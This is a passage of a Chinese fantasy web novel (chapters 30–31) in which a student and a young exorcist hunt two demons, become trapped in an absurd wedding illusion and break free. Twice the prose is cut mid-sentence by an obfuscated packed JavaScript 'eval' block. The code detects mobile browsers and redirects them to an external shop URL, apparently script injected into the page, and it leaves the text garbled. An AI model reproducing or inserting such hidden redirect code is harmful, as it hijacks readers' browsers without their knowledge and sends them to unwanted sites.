不过,看在长岛冰茶这么拼命的份上,也看在上次共同经历生死的交情上,吴森森决定再“不平凡”一次。 他给母亲发了条信息,说遇到同学有点急事,晚点再去找他们。 然后,看向已经重新燃起斗志、摩拳擦掌的长岛冰茶。 “走吧,哎,解决完好吃饭。” 30. 哭叶和梦蝶 午后两点十分,阳光被教学楼高大的阴影切割,在小树林边缘投下清晰的明暗交界线。吴森森按照长岛冰茶的指示,悄悄来到小树林东侧、靠近一栋老旧教学楼的墙角。 这里相对僻静,有几张供学生休憩的长椅,地面上堆积着厚厚的、尚未完全清理的枯黄与灰褐色落叶,空气也比其他地方显得更加阴湿、沉闷,仿佛连阳光都难以穿透那股无形的低气压。 他蹲在墙角阴影里,从长岛冰茶给的小布袋中取出那个精巧的黄铜熏香炉,小心地放入一小撮散发着清冽草木香的安神香粉,用特制的防风火柴点燃。 一缕极淡的、带着宁心静气效果的青烟袅袅升起,很快融入了周围阴湿的空气,带来一丝令人头脑清明的暖意。 一级安神香的特点是提供周围环境相反的感知进行刺激精神,同时增加精神抗性。 点燃安神香后,吴森森没有贸然行动,而是静下心来,尝试着去感知周围环境。 他闭上眼睛,将注意力集中在右臂的森鹿纹身上,同时也努力调动着荒之前教他的、那些关于感知“流动”与“气息”的基础技巧。 起初,只是感受到落叶的腐败气息、泥土的湿润、以及远处隐约的学生谈笑声。 但渐渐地,一种更加细微的“异常感” 开始浮现。 那是一种如同被水浸泡过久的、带着淡淡霉味的悲伤,无声无息地弥漫在周围的落叶堆和空气中,与安神香的清气形成微妙的对抗。 这感觉并非通过嗅觉或触觉,更像是一种直接作用于精神层面的、对“情绪”与“环境氛围”的感知。 吴森森心中微动。 这种不借助外物、直接感知到“异常气息”性质的能力,在术士中似乎并不常见。 他想起长岛冰茶总是依赖那个寻踪罗盘,虽然也能定位妖气,但似乎需要额外的仪式或解读才能判断具体类型。 如果她自己有这种程度的直接感知力,恐怕追踪妖鬼会容易得多。 就在他细细体会那股阴湿悲伤的气息,试图判断其源头时。 “喂。” 一个压低的声音几乎贴着他耳朵响起,同时一只微凉的手轻轻拍在了他肩膀上! “哇啊!” 吴森森吓得浑身一激灵,差点把熏香炉打翻,猛地回头,就看到长岛冰茶不知何时已经悄无声息地蹲在了他身后,栗色的短发在阴影中几乎与墙壁融为一体,琥珀色的眼睛里带着专注和一丝歉意。 “对不起对不起!吓到你了!” 长岛冰茶连忙道歉,但动作依旧轻巧,“我看你在感知,没敢大声。” “你……你走路没声音的吗?” 吴森森抚着狂跳的心脏,小声抱怨。 “驱魔师的基本功啦。” 长岛冰茶做了个“嘘”的手势,然后凑近他,压低声音说正事,“怎么样?感觉到什么了吗?” 吴森森点点头,指了指周围的落叶堆和那股阴湿气息弥漫的方向:“有股很淡的、像是发霉的悲伤味道,集中在那边几堆落叶比较厚的地方。但具体是哪一片叶子……感觉不到。” “这就够了!你的感知力好厉害!” 长岛冰茶眼睛一亮,但随即又垮下脸,“但是,问题就在这里。‘哭叶’的本体就是一片不起眼的灰叶子,它能完美地融入任何落叶堆。 光知道大致范围没用,必须精确锁定它附身的那一片叶子,我才能用束缚术式或者法器捕捉它。否则它随时可以转移,或者在我们翻找落叶时受惊逃走。” 她苦恼地抓了抓头发:“指向性的仪式倒是有,但需要时间准备材料,还要相对安静的环境布阵。这里随时可能有学生经过,而且‘梦蝶’肯定不会让我们安安稳稳地布阵。所以常规方法行不通。” 吴森森皱眉:“那‘梦蝶’呢?你不是说它一直跟着‘哭叶’?如果能先抓到或者赶走‘梦蝶’,会不会容易点?” “理论上是的,但问题是——” 长岛冰茶的表情更郁闷了,她从布袋里又掏出一个像是单片眼镜、但镜片布满细微刻痕的奇怪仪器,戴在右眼前,对着落叶堆方向看了看,然后取下,递给吴森森,“你看,这是灵视仪,一级,能增强对灵体和非实体妖鬼的视觉。但……没用。” 吴森森好奇地戴上,调整了一下焦距,透过镜片看去,世界蒙上了一层淡淡的蓝光,空气中似乎有一些极其稀薄的、流动的彩色光点,落叶堆那边,那股阴湿悲伤的气息在镜片中呈现为一种黯淡的、不断扩散又收缩的灰黑色雾状区域,范围比他用感知到的稍微清晰一点,但依旧无法精准定位具体目标。 “看到了吧?只能看到‘哭叶’影响的范围,看不到本体。至于‘梦蝶’……” 长岛冰茶叹了口气,“幻蝶在不动用能力、处于‘潜行’或‘伴生’状态时,几乎是完全透明的,常规的灵视手段根本看不到它! 除非它主动制造幻象、或者离得非常近、又或者使用特殊材料:比如用蕴含三级或以上灵纹的透明材料制作的眼镜或透镜,才能在常态下直接观测到它的轮廓。那种东西……我怎么可能有!” 她沮丧地摆弄着手里的几件法器: 寻踪罗盘(二级,指针在轻微摆动)、灵视仪(一级)、增幅短杖(二级)、几枚刻画着符文的特制手里剑(一级) “我手里最好的也就是二级法器,还就这么几件。三级以上的材料或法器,也不是没有,至少是要毕业后完成三级以上任务,要么需要极高的贡献度才能在族学或相关机构兑换……我这种还没正式毕业的,想都别想。” 吴森森明白了。他们现在的情况是:知道目标大致躲在某片落叶里,但无法精确定位;知道目标的保镖很可能就在附近,但看不见、抓不着,只能等它主动出手干扰时才能被动应对。 “那现在怎么办?” 吴森森问道,“总不能干等着它自己出来吧?” 长岛冰茶咬着嘴唇,眼神在落叶堆和手中的法器之间来回移动,显然在绞尽脑汁想办法。 忽然,她目光落在了吴森森右臂上似乎想起了什么。 “吴,你刚才说,你能直接‘感觉’到那股悲伤的气息?” 长岛冰茶问道,眼神里重新燃起一丝希望。 “嗯,比较模糊,但能感觉到范围和大概的性质。” 吴森森点头。 “那……你能不能试着,用你的精神力,去‘触碰’或者‘刺激’一下那股气息最集中的地方?” 长岛冰茶提出了一个大胆的想法,“‘哭叶’对情绪很敏感。如果你能用你的感知,模拟出一种更强烈的、但性质略有不同的情绪:比如,不是悲伤,而是一种坚定的、温暖的、驱散阴霾的‘抚慰’或者‘鼓励’。 “去主动接触它影响的范围,会不会引起它的反应?哪怕只是极其微弱的波动,或者让它附身的那片叶子产生一点点异常的能量涟漪……” 她越说越快:“只要它一动,哪怕只是能量层面的轻微扰动,我的罗盘和灵视仪或许就能捕捉到更精确的方位!而且,这种‘情绪接触’很温和,不像直接用法术攻击,不容易立刻吓跑它。就算失败,我们也没什么损失。” 吴森森听得一愣。用精神力去模拟情绪,主动接触妖鬼的气息?这方法听起来很玄,而且他从来没试过。 但看着长岛冰茶充满期待的眼神,想到这可能是目前唯一可行的、不用高级材料也能尝试的突破口…… “所以这要怎么做?” “emmm,来,我在通识课上学过一点,但是没这方面天赋,但是可以教教你怎么用。” ———— 当吴森森小心翼翼地将那股模拟着“温暖抚慰”的精神触角,探入那片阴湿悲伤的力量场时,异变陡生! 预想中的微弱波动或能量涟漪并未出现。 相反,在精神接触的刹那,吴森森仿佛“听”到了一声极其细微、却直透灵魂的、充满无尽哀恸的呜咽! 那绝非植物叶片摩擦或腐败的声音,更像是一种古老生命在漫长时光中积淀下的、属于“虫”类的、带着鳞片摩擦与□□循环特质的悲鸣! 电光石火间,一个念头如同闪电般劈入吴森森脑海——夏国古代对世间生灵有“五虫”之分:蠃虫、羽虫、毛虫、鳞虫、介虫。而对于植物,则有“草、果、菜、谷、木”之别。 “哭叶”……名为“叶”,听起来像是植物类妖鬼。 但此刻他“感知”到的本质,那种核心的生命律动与情绪特质,却更接近于“鳞虫” 的范畴! 是那种冷血、潮湿、带着周期性蜕皮或甲壳质感的生命形态,而非植物枯萎、腐败、循环再生的感觉! 难道“哭叶”并非真正的“叶妖”,而是某种形态或习性像叶子、本质却是“虫”类的妖鬼? 或者,是植物与虫类特性混合的异种? 这个发现瞬间动摇了长岛冰茶之前基于“落叶成精”的认知基础,也解释了为何它如此难以锁定——它可能根本就不是一片“死叶子”,而是一只能够拟态、融入落叶环境的、活着的“虫”! 这个认知上的冲击,加上那股直接作用于精神的悲伤呜咽,让吴森森的意识出现了短暂的剧烈震荡。 他还未来得及将这个发现告诉长岛冰茶,就感觉天旋地转,脚下的地面仿佛瞬间消失,整个人朝着无尽的黑暗深渊直坠下去! “呃啊——!” 失重的感觉无比真实,心脏仿佛要跳出胸腔。就在他以为自己要摔得粉身碎骨时,下坠感戛然而止。 双脚踩到了坚实、微凉的地面。 吴森森惊魂未定地睁开眼,映入眼帘的景象让他瞬间石化。 这是一间古色古香、装饰喜庆的婚房。 大红的绸缎挂满房梁,贴着金色的“囍”字。 雕花木床上铺着绣有鸳鸯戏水图案的锦被,床幔是轻柔的红纱。桌上摆着成对的龙凤红烛,几碟精致的点心和合卺酒。 空气里弥漫着淡淡的檀香和脂粉气。 这布置,像极了古装影视剧里的场景,但细看之下,许多细节又透着一股不讲究礼制、甚至有些随意拼凑的感觉——比如墙角随意堆着的、似乎是戏服的箱笼,桌上点心的样式古今混杂,烛台的花纹也有点不伦不类。 而最让吴森森头皮发麻的是,就在那张挂着红纱帐的雕花大床边上,端坐着一个“人”。 那人穿着极为华丽繁复的大红色新娘嫁衣,头戴缀满珠翠的凤冠,一方绣着金线鸳鸯的大红盖头将头脸完全遮住。 但即便如此,那异常高大、肩宽背阔、即使坐着也显山露水的骨架,以及从嫁衣宽大袖口中露出的、随意搭在膝上的一只手,都明明白白地告诉吴森森——这绝对不是什么娇小玲珑的新娘子! 那只手,骨节分明,手指修长有力,肤色是极其不正常的、仿佛深海般的幽蓝色。 而且,手背上、指关节处,清晰可见覆盖着细密精致的、闪烁着冷光的蓝色鳞片。 吴森森的心脏狂跳起来,一个荒谬绝伦、却又让他寒毛倒竖的猜测不受控制地涌现。 就在这时,那“新娘”似乎察觉到了他的目光,那只覆盖着鳞片的蓝手,竟自己抬了起来,然后,以一种慢条斯理、却又带着不容置疑力道的姿态,缓缓掀开了自己头上的大红盖头! 盖头滑落。 露出一张英俊、深邃、却充满了非人异质感的脸庞。 皮肤同样是深蓝色,覆盖着淡淡的、与手背同款的细鳞,在烛光下泛着冰冷的光泽。 额前两侧,生着一对分叉优美、晶莹如红珊瑚的鹿角。 长发是流动的深蓝色,在脑后松松绾了个髻,插着几支过于华丽的、与凤冠不太搭的金簪。 眉毛斜飞入鬓,鼻梁高挺,嘴唇薄而色淡。 最要命的是那双眼睛——清澈的、流动着水光的湛蓝色,此刻正带着一种难以形容的、混合了探究、玩味、以及一丝让吴森森毛骨悚然的“娇羞”情绪,直勾勾地看了过来。 这特么是——荒流?!那个流川之主、麒麟化身、蓝皮红角的荒流?!穿着女装嫁衣坐在婚床上的荒流?!! 吴森森感觉自己的大脑CPU快要烧毁了。这都什么跟什么啊?! “郎君……” 荒流开口了,声音依旧是那种带着流水韵律的磁性,但此刻却刻意放软、拖长了调子,甚至带上了一丝矫揉造作的颤音,听得吴森森起了一身鸡皮疙瘩,胃里一阵翻涌。 “怎么还傻站着?也不来帮为妻掀开盖头?莫不是……害羞了?” 吴森森:“……” 他张了张嘴,却发不出任何声音。 荒流那张结合了型男标准与异类特征的俊脸,配上这身诡异的女装和矫揉造作的语调,形成的视觉与听觉冲击力太过巨大,让他彻底宕机了。 谁在恶搞?!这绝对是恶搞吧?! 难道……这就是“梦蝶”的能力?挖掘人心底深处潜藏的恐惧或尴尬记忆,制造出最令人不适的幻境? 吴森森猛地想起之前长岛冰茶对“梦蝶”的描述:干扰睡眠、引发短暂的噩梦或幻象,并能利用梦境的力量轻微扭曲现实感知。 是了!肯定是“梦蝶”感知到了他之前对荒流“婚约”之言的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016503|194202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 极度抗拒和尴尬,于是将这种情绪无限放大、扭曲,结合了他对传统“婚约”、“嫁娶”的模糊认知,制造出了眼前这个荒诞绝伦、却又精准踩中他雷点的噩梦场景! 这幻境的目的,或许就是为了让他心神大乱,无法协助长岛冰茶,甚至可能让他因为过度惊吓或尴尬而主动退出,或者做出什么不理智的举动。 吴森森强迫自己冷静下来。 这是幻境,是假的!是那只该死的蝴蝶搞的鬼!他必须保持清醒,找到破绽,脱离出去! 然而,眼前的“荒流新娘”似乎并不打算给他思考的时间。 “郎君~” “荒流”站起身,那高大的身躯在嫁衣的包裹下显得更加有压迫感。 他迈着一种自以为优雅、实则因为身材过于高大而显得别扭的步子,朝着吴森森款款走来,蓝色鳞片的手伸向他,脸上挂着一种“和善”到令人毛骨悚然的笑容。 “春宵一刻值千金,莫要辜负了这良辰美景呀~” 吴森森浑身汗毛倒竖,下意识地后退一步,后背抵住了冰冷的墙壁。 完了,这梦蝶找到的“恐惧点”,也太特么精准了!他现在宁愿再去面对一次大百足,也不想待在这个鬼地方一秒钟! ———— 阪大艺术大学的中央草坪上,阳光和煦,绿草如茵。 吴若木和上官若水并肩漫步,欣赏着校园景色,不时停下拍照。 吴若木兴致很高,拍完还要跟上官若水点评一下照片。 走着走着,上官若水脚步微微一顿。他感觉到自己左侧袖口内袋里,一个贴身收着的小物件,似乎传来一阵极其微弱、却清晰可辨的温热与颤动。 他神色不变,借着整理袖口的动作,自然地伸手入内袋,指尖触碰到了一块约莫半个巴掌大小、温润如玉的木牌。 木牌材质非金非石,正是与他送给吴森森那串手串同源的阴沉木所制,上面用更古老的技法阴刻着一些细密的、并非普通装饰的纹路。 此刻,木牌表面正闪烁着极其微弱的、只有他能感知到的淡绿色光晕,光晕流转的节奏,与他血脉深处、与儿子之间那无形的亲缘联系产生了某种共鸣,传递来一丝“心神受到强烈冲击、情绪剧烈波动、但生命体征平稳、无外力直接侵害” 的模糊信息。 上官若水指尖在木牌上轻轻拂过,那光晕便悄然隐去,温热感也迅速平复。 他几不可察地摇了摇头,嘴角勾起一丝了然的、带着点无奈的笑意,将木牌重新收好。 “怎么了?袖子里藏什么宝贝呢?” 吴若木虽然在看风景,但眼角余光一直留意着丈夫,见他动作有异,便随口问道,语气带着调侃。 上官若水推了推眼镜,语气平淡:“没什么,一点小感应。森森那边,好像遇到点小麻烦,不过无碍,他自己能处理。” 吴若木闻言,不仅没担心,反而轻笑出声,眉眼弯弯:“我就知道!那小子,从刚才见面我就觉得不对劲。身上一股子山林野木的气味,那能是什么爬山时候不小心沾上的。” 她顿了顿,收敛了笑容,哼哼两声,语气里带上了几分秋后算账的意味:“臭小子,得了这种缘分,身上肯定发生了不少事,还不告诉老娘! “看他那气色,虽然不差,但明显能感觉遇到了什么不干净的东西。等着吧,等今晚见了那位高宏先生,再慢慢审他!看他还瞒着我什么!” 上官若水默默听着妻子分析,没有插话。他知道妻子看似大大咧咧,实则心思通透,尤其在某些特殊领域,感知比自己更为敏锐。 对于儿子的“隐瞒”,他同样有所察觉,只是选择静观其变。 此刻见妻子发火,他明智地选择了沉默是金,站队明确——站在妻子这边,必要时帮忙敲敲边鼓。 至于儿子?自求多福吧。 吴若木兀自盘算着晚上怎么拷问儿子,忽然,像是想起了什么陈年旧事,轻轻“啊”了一声,转头看向丈夫,眼神里带着点回忆和不确定。 “就是……我二十多岁,还住在秦岭老家那时候……” 吴若木陷入回忆,语气飘忽,“你知道的,我那时候虽然得了点祖辈传下来的、跟山林有关的微末恩泽,但方向感奇差,还是个半吊子。有次进山采药,把火火给弄丢了,急得满山乱转,差点掉进山涧里……” “然后呢?” 上官若水显然知道这段往事,但依旧耐心听着。 “然后……迷迷糊糊的,好像遇到了一个……嗯,该怎么形容呢?” 吴若木努力回忆着,“一个看起来年纪不大、但气质特别古老安静的小孩子,他好像……能跟水沟通?不对,是感觉他本身就是水的一部分似的……他帮我找到了火火,还把我带出了那片容易迷路的山谷。 “我为了感谢他,就随口说,以后要是我有了孩子,就跟他结个娃娃亲什么的……当时就是觉得那孩子长得好看,又帮了我大忙,开个玩笑,没当真。” 她说着,自己都觉得有点好笑:“那都是多少年前的老黄历了!而且后来我就因为地气变化搬到了金陵,再也没回去过秦岭深处。那个小孩子…… “我后来想想,总觉得不太像普通人,但具体是什么,我也说不上来。只隐约记得,他好像提过一句,以后可能会去杰潘那边……。” 吴若木摆了摆手,仿佛要挥散这段模糊的记忆:“哎呀,都是随口一说的事情,小孩子过家家似的,哪能当真?何况人家说不定根本就没记住,或者早就忘了。 “再说了,我现在连那孩子具体是人是妖是仙都搞不清,说不定就是个长得特别点的山精水怪呢!娃娃亲什么的,太荒唐了!” 上官若水听着妻子的讲述,眼神深邃,没有评价那段“娃娃亲”的往事是否荒唐,只是平静地问:“所以,你是担心森森在这边遇到的缘,可能跟那个孩子,或者说,跟麒麟有关?” “麒麟?” 吴若木一愣,“我……我没说他是麒麟啊?我只是觉得那孩子可能跟水啊有关……” 上官若水没有解释自己是如何做出“麒麟”这个推断的,只是淡淡道:“巧合也罢,缘分也罢,既然森森自己选择了这条路,有些因果,总需他自己去了结。我们能做的,就是在他需要的时候,扶他一把,或者……在他跑偏的时候,把他拽回来。” 他看了一眼气鼓鼓的妻子,补充道:“至于他瞒着我们的事……晚上问清楚也好。但注意方法,别吓着他。他长大了,有自己的判断和选择。” 吴若木哼了一声,算是默认了丈夫的说法,但看起来依旧打算好好拷问一下儿子。 31. 抢亲 就在“荒流新娘”那只覆盖着蓝色鳞片、骨节分明的大手,带着一种令人毛骨悚然的柔情蜜意,即将碰到吴森森下巴,而吴森森背靠墙壁退无可退、恨不得当场晕过去的千钧一发之际——— “轰隆——!!!” 一声巨响,婚房那扇看起来还挺结实的雕花木门,被人从外面以蛮横无比的方式,整个儿撞飞了进来! 木屑、碎纸、断裂的门栓如同天女散花般溅落一地,烟尘弥漫。 门口,烟尘中,并肩站着三个身影。 当先一人,穿着一身裁剪怪异、明显是改版出来的女式、尺寸又不合身的黑色燕尾服,只是燕尾服里面露出了蕾丝花边的衬衫领口,脚上蹬着一双擦得锃亮的男士高跟鞋,但头上却用一根古朴木簪歪歪斜斜地绾了个发髻,还插了朵蔫了吧唧的粉色绢花。 他推了推脸上那副标志性的、此刻沾了点灰的眼镜,镜片后的眼神冷静锐利,手里还拿着一个正在冒烟的、好像是改装过的小型炮弹筒,居然是是桐岛凛! 但穿着女式改良款,还画了极其敷衍的剑眉和两撇小胡子! 紧随其后,是一个五大三粗、肌肉贲张的身影,却套着一件明显小了两号、勒得胸肌快要爆炸的、大红色绣着牡丹的女士旗袍,开叉高到危险,露出两条毛茸茸、肌肉结实的大腿,脚上别扭地塞在一双绣花鞋里,后脚跟还在外面。 他一脸杀气,手里拎着一把还在滴着可疑黑色液体的、看起来像是加大号平底锅的凶器——是高宏亮! 穿着女装旗袍,脸上甚至还抹了厚厚一层煞白的不均匀脂粉和两坨夸张的腮红! 最后一人,身形矫健,穿着一身紧身、便于活动的黑色夜行衣,脸上蒙着面纱,但面纱上绣着夸张的蝴蝶结。 穿着居然是男士牛仔裤,那个裆实在是不对劲… 她手里倒提着一根缠绕着紫色电光的短鞭,眼神冰冷,如同出鞘的利刃——是渡边兰! 三个人,画风诡异到令人san值狂掉,就这么杀气腾腾地堵在了门口。 “荒流!放下那个新郎!” 穿着男装燕尾服、画着花胡子、声音却依旧清冷的桐岛凛,用他那毫无起伏的语调,指着荒流新娘,义正辞严地喝道。 “没错!强抢民男,成何体统!识相的就乖乖让开,让哥几个……呃,让姐几个把人带走!” 穿着旗袍、肌肉快把布料撑裂、脸上脂粉扑簌簌往下掉的高宏亮,用他那粗豪的嗓音吼道,还不忘挥舞了一下平底锅。 渡边兰没说话,只是手腕一抖,紫色电光短鞭“啪”地一声在空中炸响,眼神如冰锥般刺向荒流新娘。 抢亲的来了! 而且抢的不是新娘,是吴森森这个新郎! 这都什么跟什么啊! 梦蝶的幻境逻辑已经崩坏到这种程度了吗?! 吴森森感觉自己快要疯了。 “呵。”荒流新娘发出一声意味不明的轻笑,湛蓝的眼眸扫过门口三人诡异的装扮,不但没怒,反而似乎觉得很有趣。 他慢悠悠地转过身,挡在吴森森身前,语气带着一丝慵懒的挑衅:“就凭你们三个……不男不女的家伙,也想来抢本座的‘郎君’?” “少废话!看锅!” 高宏亮(旗袍版)怒吼一声,率先动手! 挥舞着平底锅,带着一股腥风,就朝着“荒流新娘”拍了过去! 那黑液似乎有腐蚀性,滴在地上“滋滋”作响。 荒流新娘不闪不避,只是抬起那只覆盖鳞片的蓝手,凌空一划,一道水流凭空出现,卷向平底锅。 与此同时,桐岛凛(燕尾服版)手指在胸前一个改装过的怀表上连点数下,怀表射出几道微弱但频率奇特的音波,试图干扰“荒流”。 渡边兰(忍者牛仔版)身形如鬼魅般闪动,短鞭如同毒蛇,从刁钻的角度抽向“荒流”的下盘。 一场画风清奇、招式诡异、双方都穿着奇装异服的抢亲混战,就在这间大红婚房里轰然爆发! 低级的水流术、不明液体、音波干扰、电光鞭影、锅铲乱拍、燕尾服与旗袍翻飞、脂粉与木屑齐舞…… 吴森瑟缩在墙角,看着眼前这出荒诞到极致的闹剧,感觉自己不是在做噩梦,而是误入了某个精神污染级别的国产春节档搞笑片。 他甚至分不清,是荒流新娘更恐怖,还是眼前这三个抢亲的同伴形象崩坏得更彻底。 打斗激烈,但似乎势(菜)均(鸟)力(互)敌(啄)。 荒流新娘的水流被锅拍飞,桐岛凛的音波让大家耳朵嗡嗡,渡边兰的鞭子偶尔能抽到“荒流”,但很快被水流挡开。 高宏亮的锅铲倒是威力不小,但准头欠佳,好几次差点误伤友军,也可能是故意的。 就在战局陷入胶着,吴森森琢磨着是不是该趁乱从门口溜走(如果门框还在的话)时—— “哗啦!” 他身后的雕花木窗突然被人从外面猛地推开!一道娇小敏捷的身影,如同灵猫般翻窗而入,轻盈落地,挡在了吴森森身前。 吴森森定睛一看,是长岛冰茶! 她终于找到自己了!吴森森心中涌起绝处逢生的狂喜! 然而,这份喜悦在看到长岛冰茶此刻的装扮时,瞬间凝固,然后化为更深的绝望。 只见长岛冰茶,竟然穿着一身剪裁合体、但明显是男式的深灰色条纹西装三件套! 西装外套敞开着,露出里面的马甲和白衬衫,还打着一条略显稚气的波点领带。 她那一头栗色短发梳理得一丝不苟(还喷了发胶),脸上甚至还架着一副没有镜片的金丝边眼镜,看起来就像个偷穿大人衣服、故作成熟的高中生。 (长岛冰茶:我成年了…上大学了…) “吴!没事吧?我来救你了!” 长岛冰茶(西装版)转过身,对吴森森露出一个灿烂的笑容,语气急促但坚定。 “长岛!快!带我离开这个鬼地方!” 吴森森如见救星,连忙抓住她的胳膊。 “没问题!我们这就走!” 长岛冰茶点点头,然后,她忽然用一种深情款款、仿佛在背诵蹩脚舞台剧台词的语气,对着吴森森大声说道: “吴森森!其实……其实我早就对你芳心暗许,私定终身了!今天,我就是来履行我们的约定,带你离开这个是非之地,远走高飞的! 你放心,我一定会保护你,给你幸福的!” 吴森森:“……???” 他脸上的表情瞬间从“得救了”变成了“我又被创了”。 私定终身?!芳心暗许?!远走高飞?!给你幸福?! 这都什么跟什么啊?!长岛冰茶你也被梦蝶感染了吗?! 还是说这也是幻境的一部分?!这特么比荒流新娘和抢亲三人组加起来还要惊悚好吗?! 吴森森感觉自己的理智,终于在这接二连三、层层递进、没有最荒诞只有更荒诞的精神污染冲击下,啪嚓一声,彻底绷断了。 他两眼一翻,身体软软地顺着墙壁滑坐到地上,大脑彻底放弃思考,进入一种自我保护性的宕机状态。 爱咋咋地吧。这幻境,这噩梦,这离谱他妈给离谱开门的剧情……他不想玩了。毁灭吧,赶紧的。 ———— 吴森森的理智弦虽然濒临崩断,但求生的本能,让他残存的意识发出了最后的尖叫:不能坐以待毙!必须自救! 但是他被长岛冰茶以一个极其标准的公主抱姿势箍在怀里,狂奔、翻窗、跳跃…… 长岛冰茶还有空施展术式干扰追来的四人,并且用结界术作落脚点。 吴森森感觉自己像个大型行李,被带着在各种不科学的接力点上颠簸飞跃。 他尝试扭动,试图找到偷袭的角度,比如用手肘撞击对方要害,或者用头槌…… 但长岛冰茶的手臂如同铁箍,抱得又稳又紧,他这点徒劳的挣扎,在对方矫健的身手和幻境赋予的剧情力加持下,根本就是蚍蜉撼树。 “哈哈,别乱动,小心掉下去!” “长岛冰茶”甚至还发出了爽朗的笑声,脚下步伐更快了。 完了,物理反抗无效,偷袭无门。吴森森的心沉到了谷底。 就在他被塞进那辆凭空出现的、画风极度违和的金闪闪南瓜马车(为什么是南瓜马车?!灰姑娘乱入吗?!),听着“长岛冰茶”用那故作深沉的嗓音喊了声“司机,开车!”,马车轰隆隆启动,窗外景象开始飞速倒退时,吴森森知道,再不行动,就真不知道要被带到哪个更离谱的“剧情”里去了。 他强迫自己冷静,内视自身。右臂上的纹身微微发热,那串藤蔓与花苞在幻境中依旧清晰。 他尝试调动森林祝福的力量,却发现如同隔着一层厚重的毛玻璃,力量流转极其滞涩。 他能清晰见到纹身上那几朵花苞,其中只有一朵,对他产生了微弱的回应,仿佛只要他愿意,就能勉强催动其绽放。 “一朵花的力量……对应一级?” 吴森森脑中灵光一闪,想起桐岛凛对妖鬼等级的划分,以及梦蝶只是一级。 难道在这个由梦蝶主导构建的幻境中,外来力量的发挥,会受到幻境“规则”或梦蝶自身等级的限制? 他目前能调动的,大约相当于“一级”的程度? 管不了那么多了!一级就一级!总比坐以待毙强! 他不再犹豫,将全部心神集中于那朵唯一有回应的花苞,凝聚精神力,不是攻击马车或环境,而是直刺向近在咫尺、正一脸深情望着他的长岛冰茶的眉心! “给我——醒过来!!!” “唔!” 长岛冰茶身体猛地一僵,抱着吴森森的手臂瞬间收紧,勒得他差点背过气去。 但紧接着,她那双原本充满“戏剧性深 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016504|194202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情”的琥珀色大眼睛里,迷茫、混乱、以及一丝本不该属于长岛冰茶人格的娇羞做作迅速退去,取而代之的是震惊、羞愤、以及彻底清醒后的惊恐! “吴、吴森森?!” 长岛冰茶的声音恢复了平时的清脆,但带着剧烈的颤抖和难以置信,“我、我刚才……我都说了什么?!做了什么?!啊——!!!!” 她猛地松开手,像是被烫到一样把吴森森丢在了对面铺着天鹅绒的马车座椅上,双手捂住了自己瞬间爆红、几乎要冒烟的脸,整个人缩到了车厢角落,发出小动物般的呜咽,恨不得当场找个地缝钻进去,或者直接跳车自尽。 果然!长岛冰茶本人也被拉入了这个幻境,而且似乎被“梦蝶”扭曲、植入了某种符合幻境剧情的“人设”和“记忆”… 直到被吴森森用森林祝福的力量进行精神冲击,才强行唤醒了她的自我意识! “别想那些了!现在不是害羞的时候!” 吴森森顾不上自己被摔得七荤八素,也顾不上去吐槽长岛冰茶刚才那番“表演”,他厉声打断对方即将爆发的羞愤崩溃,将话题死死拽回正轨,“我们现在在什么车上?要去哪里?你还记得进入幻境前的事情吗?” 现实世界的危机还没解除,幻境里的荒诞闹剧必须尽快终止! 长岛冰茶被吴森森严厉的语气一震,强行压下翻江倒海般的羞耻感,深吸了几口气,努力回忆。 她看了看周围金光闪闪、充满童话感的南瓜马车内部,又看了看窗外飞速掠过的、明显是幻境构建的、色彩饱和度极高的扭曲街景。 “这、这是……去往森林的马车……” 长岛冰茶的声音还有些抖,但思路逐渐清晰,“在我的……呃,在这个幻境给我安排的‘记忆’里,我是要带你去我在这个梦里的小屋,好像是在森林边缘……对,森林!是森林!” 她猛地抓住关键词,眼睛亮了起来:“吴!我想起来了!在完全被拉进这个鬼幻境之前,我最后一次用罗盘和灵视仪观察,虽然没锁定‘哭叶’本体,但能确定它的能量核心,最可能隐藏在一片颜色特别深、近乎暗红色的枫叶堆里! 就在小树林东边靠近围墙的那片红枫下面! “当时我还奇怪,为什么别的叶子都枯黄了,那里还有那么鲜艳的红枫……现在想来,那很可能就是‘哭叶’拟态或者依附的本体!它不是普通的灰叶子,是红枫叶!或者至少,它选择了红枫作为宿主或伪装!” “也就是说,‘哭叶’很可能就藏在那片异常的红枫区域,而‘梦蝶’制造这个幻境困住我们,一方面是为了保护‘哭叶’,另一方面可能也在利用幻境汲取我们的情绪来强化自身或维持幻境?” 吴森森快速分析。 “很有可能!” 长岛冰茶点头,她已经完全从羞耻状态切换回了驱魔师模式,尽管脸上红晕未消,“我们必须尽快脱离幻境,回到现实,然后去那片红枫那里!在幻境里我们的力量被严重限制,而且不知道这个幻境还有多少‘剧情杀’等着我们!” “怎么脱离?” 吴森森问。他对幻术了解不多。 “一般来说,找到幻境的核心破绽,或者以强大的意志力强行突破,或者……从内部破坏维持幻境的关键节点。” 长岛冰茶沉吟道,“‘梦蝶’只是一级,它构筑的幻境不可能毫无弱点。刚才你的精神冲击能唤醒我,说明幻境对我们的精神控制并非绝对。或许……我们可以尝试在幻境中找到‘梦蝶’的具现化形象,或者找到这个幻境逻辑最矛盾、最不合理的地方,集中力量攻击!” “司机停车!” 但是南瓜马车没有减速,反而是摇晃起来,振得吴森森和长岛冰茶想吐。 “不停是吧,”长岛冰茶生气,原来的金属法杖幻化成匕首试图破坏车厢。 